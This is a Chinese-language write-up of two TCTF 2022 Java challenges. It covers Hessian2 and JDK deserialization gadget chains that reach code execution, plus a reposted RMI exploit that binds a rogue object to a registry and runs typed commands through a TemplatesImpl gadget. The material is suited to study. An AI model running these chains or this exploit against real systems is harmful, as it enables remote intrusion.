2022.9 TCTF WP

hessian-onlyjdk

题目给了两个hints:
https://lists.apache.org/thread/1mszxrvp90y01xob56yp002939c7hlww
https://x-stream.github.io/CVE-2021-21346.html

其实只要看过2022KCon wh1t3p1g师傅的演讲,就会对这道题很熟悉。师傅在会是说可以用tabby找一下CVE-2021-21346 onlyjdk的利用链。

思路

第一个hint是hessian2的某些版本存在一个能触发obj.toString的漏洞;
第二个hint是XStream的一个反序列化洞,利用链如下:

1
2
3
4
5
6
7
8
javax.naming.ldap.Rdn$RdnEntry.compareTo
com.sun.org.apache.xpath.internal.objects.XString.equal
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()

其中SwingLazyValue.createValue可以调用任何Public并且static的函数。

这时的初步想法是根据CVE-2021-43297触发MultiUIDefaults#toString然后走CVE-2021-21346剩下的链,构成RCE。
但是拼接完之后发现报错
看到有师傅的博客介绍

1
2
3
4
5
6
7
8
9
10
11
javax.swing.MultiUIDefaults是protect类,被protected 修饰的成员对于本包和其子类可见,即只能在javax.swing.中使用,而Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限
所以要的类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2 会自动挨个测试构造器直到成功。

对于存在Map类型的利用链,例如ysoserial中的cc5部分:

TiedMapEntry.toString()
LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod()
InvokerTransformer.transform() Method.invoke() Runtime.getRuntime()
InvokerTransformer.transform() Method.invoke() Runtime.exec()

这个也是无法利用的,因为Hessian2在恢复map类型的对象时,硬编码成了HashMap或者TreeMap,这 里LazeMap就断了。 扫了下basic项目自带的包,没找到能用的链,三方包中找到利用链的可能性比较大一些。

用CodeQL找一下能替代MultiUIDefaults的类,满足以下条件条件:

  • toString的类是public
  • toString的类的构造函数是public
  • toString方法到java.util.Hashtable#get方法有路径

但是通过codeql,我找到了497条结果,晕了。不过如果换一个满足题目的jdk版本,然后再找一下路径少的,应该也很快能找到。
findedg

由于题目使用javaagent禁了JavaUtil(这个类的静态方法能写文件),还需要找一个至少能读文件的public static的函数。

exp1

有师傅找的PKCS9Attributes这个类。这样调用链如下:

1
2
3
4
5
6
sun.security.pkcs.PKCS9Attributes.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue

由于题目使用javaagent禁了JavaUtil(这个类的静态方法能写文件),Siebene@师傅找到了能调用bcel加载器的JavaWrapper。
这样调用链如下:

1
2
3
4
5
6
7
sun.security.pkcs.PKCS9Attributes.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
JavaWrapper._main
JavaWrapper.runMain

exp2

有师傅直接找到LazyValueForHessian的利用链。入口是MimeTypeParameterList.toString,使用exp1中的CodeQL也能找到这个类。
代码执行部分师傅们使用的是SwingLazyValue执行com.sun.org.apache.xalan.internal.xslt.Process#_main

exp3

jndi中由于高版本关了远程codebase的信任,从而无法实现jndi注入,但是修改这个属性的System.setProperty却是一个静态方法,可以在这里被createValue调用,直接一键打通,然后再用开头给的XStream的javax.naming.InitialContext.doLookup即可

总结

其实这道题就是找替代MultiUIDefaults执行toString的类,以及替代JavaUtils写文件的类
上面两个exp分别使用PKCS9AttributesMimeTypeParameterList替代了MultiUIDefaults
使用能调用bcel加载器的JavaWrappercom.sun.org.apache.xalan.internal.xslt.Process替代JavaUtils

⚠️ 另外值得注意的是,如果setFieldValue失败的话记得把编译器如IDEA的debug 'toString()' object view关了,不然不管是否debug都会出问题,具体什么问题还不知道,至少是set不进去参数。这个挺离谱的,打开debug 'toString()' object view即使没有debug,依然set不进去参数。

3RM1

赛题思路

这道题给了两个hint
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Spring1.java
https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf page50
https://dmsj-zjk.oss-cn-zhangjiakou.aliyuncs.com/data%2Fmedia%2Fattachment%2F9b7161ce-768d-4f55-8482-ec7a94d6d0f0?OSSAccessKeyId=LTAI4GKC6j39Agb66ieR44Ke&Expires=1663518303&Signature=wods1CE20HR0HrK7ViaCXXsf1vQ%3D

思路也出来了:通过第一个提示CVE-2019-2684,进行rebind/bind。第二个是ysoserial的Spring1的payload,可能就是模仿构造本题的利用链。
这里直接贴一下perfectblue队大佬的wp,我个人的理解直接写到注释了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
public class my_Exp {
/*
* 题目中能控制的变量为lookup的内容
* 在vps上构建一个Remote,将其暴露出来并设置端口。
* 同时设置hashToMethod_Map的key为原client端请求server端时调用方法名的hash,value为exp中的gadgets,比如调用sayHello方法时,会根据sayHello的hasn找到getStage1Gadget方法
* 然后获取到远程的Registry,将Remote绑定到Registry上
* 最后将题目中唯一能控制的lookup的值设置为bindName就可以了
*
* 也可以rebind,只需要更改以下内容:
* 1. registry.rebind("ctf",remoteExploit);
* 2. url中的bindname 改成ctf
* 3. Expolit#getStage3Gadget的mv.visitLdcInsn(name)中的name改成ctf
*
* */
public static void main(String[] args) throws Throwable {
String REMOTE = "127.0.0.1";
// System.setProperty("java.rmi.server.hostname", HOSTNAME);

String bindName = "user_" + System.currentTimeMillis();

/*
* Exploit是远程对象的Java类。通过UnicastRemoteObject的exportObject把当前对象暴露出来,使得它可以接收来自客户端的调用请求。
* 再通过Registry的bind/rebind方法进行注册,使得客户端可以查找到。
*/
my_Exploit localExploit = new my_Exploit();
Remote remoteExploit = UnicastRemoteObject.exportObject(localExploit, 50805);

/*
* 通过ObjectTable.getTarget()从socket流中获取ObjId
* 然后通过ObjId获取Target对象
* 然后调用UnicastServerRef#dispatch -》 UnicastServerRef#oldDispatch -》 RegistryImpl_Skel#dispatch
* 然后根据参数(0就是bind,2就是lookup)处理请求,所以无论是客户端还是服务端最终处理请求都是通过创建RegistryImpl对象进行调用。
* */
Target target = ObjectTable.getTarget(localExploit);
Field dispatcherField = Target.class.getDeclaredField("disp");
dispatcherField.setAccessible(true);
Dispatcher dispatcher = (Dispatcher) dispatcherField.get(target);

//客户端会根据方法名及参数类型生成哈希,服务端收到这个哈希就能知道调用的是哪一个方法(sun.rmi.server.UnicastServerRef#hashToMethod_Map
Field hashToMethod_MapField = UnicastServerRef.class.getDeclaredField("hashToMethod_Map");
hashToMethod_MapField.setAccessible(true);
Map<Long, Method> hashToMethod_Map = (Map<Long, Method>) hashToMethod_MapField.get(dispatcher);

hashToMethod_Map.put(Util.computeMethodHash(UserInter.class.getDeclaredMethod("sayHello", String.class)), my_Exploit.class.getDeclaredMethod("getStage1Gadget", String.class));
hashToMethod_Map.put(Util.computeMethodHash(UserInter.class.getDeclaredMethod("getGirlFriend")), my_Exploit.class.getDeclaredMethod("getStage2Gadget"));
hashToMethod_Map.put(Util.computeMethodHash(FactoryInter.class.getDeclaredMethod("getObject")), my_Exploit.class.getDeclaredMethod("getStage3Gadget"));

localExploit.ref = new UnicastRef(((UnicastServerRef) dispatcher).getLiveRef());
localExploit.name = bindName;

System.out.println("[+] connected to remote registry");
//获取远程注册表
Registry registry = (Registry) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Registry.class},
new RemoteObjectInvocationHandler(new UnicastRef(
new LiveRef(new ObjID(ObjID.REGISTRY_ID), new TCPEndpoint(REMOTE, 1099), false))
)
);
for (String s : registry.list()) {
System.out.println("[+] found binding " + s);
}

System.out.println("[+] binding " + bindName + " to " + localExploit.getClass().getName());
registry.bind(bindName, remoteExploit);
// registry.rebind("ctf",remoteExploit);
System.out.println("[+] done!");
// 以上,就是将remoteExploit绑定到REMOTE:1099上

Scanner scanner = new Scanner(System.in);
while (true) {
System.out.print("<<< ");
localExploit.command = scanner.nextLine();

new URL("http://" + REMOTE + ":8090/?" + bindName).openConnection().getInputStream();
}
}
}

利用链代码就不贴了,利用链的解释引用一下大佬的wp

1
2
3
4
5
6
7
8
9
Bind our exploit class and overwrite some local method handlers
a. `sayHello` becomes `getStage1Payload` -> returns a `Gadget` which will execute payload on deserialization (even though remote wants a String)
i. The `user` in `Gadget` is a `RemoteObjectInvocationHandler` so we can return a custom for `getGirlFriend`

b. `getGirlFriend` becomes `getStage2Payload` -> gets executed by Gadget and returns an instance of `Friend` and `Templates` (class created dynamically)
i. The generated proxy uses a `MyInvocationHandler` so we can control which object gets invoked (another `RemoteObjectInvocationHandler`)
ii. This `RemoteObjectInvocationHandler` calls back to us again, through another dynamic class that implements `FactoryInter` and `Remote`

c. `getObject` becomes `getStage3Payload` which returns a `TemplatesImpl` that dynamically creates a class that will `Runtime.getRuntime().exec()` a single command and return it via `sayHello`

其实有了这个poc,能做很多事,并不会被局限到这道题中。

通过这次比赛还算学到一些东西吧,同时也深感自己太菜了,还要努力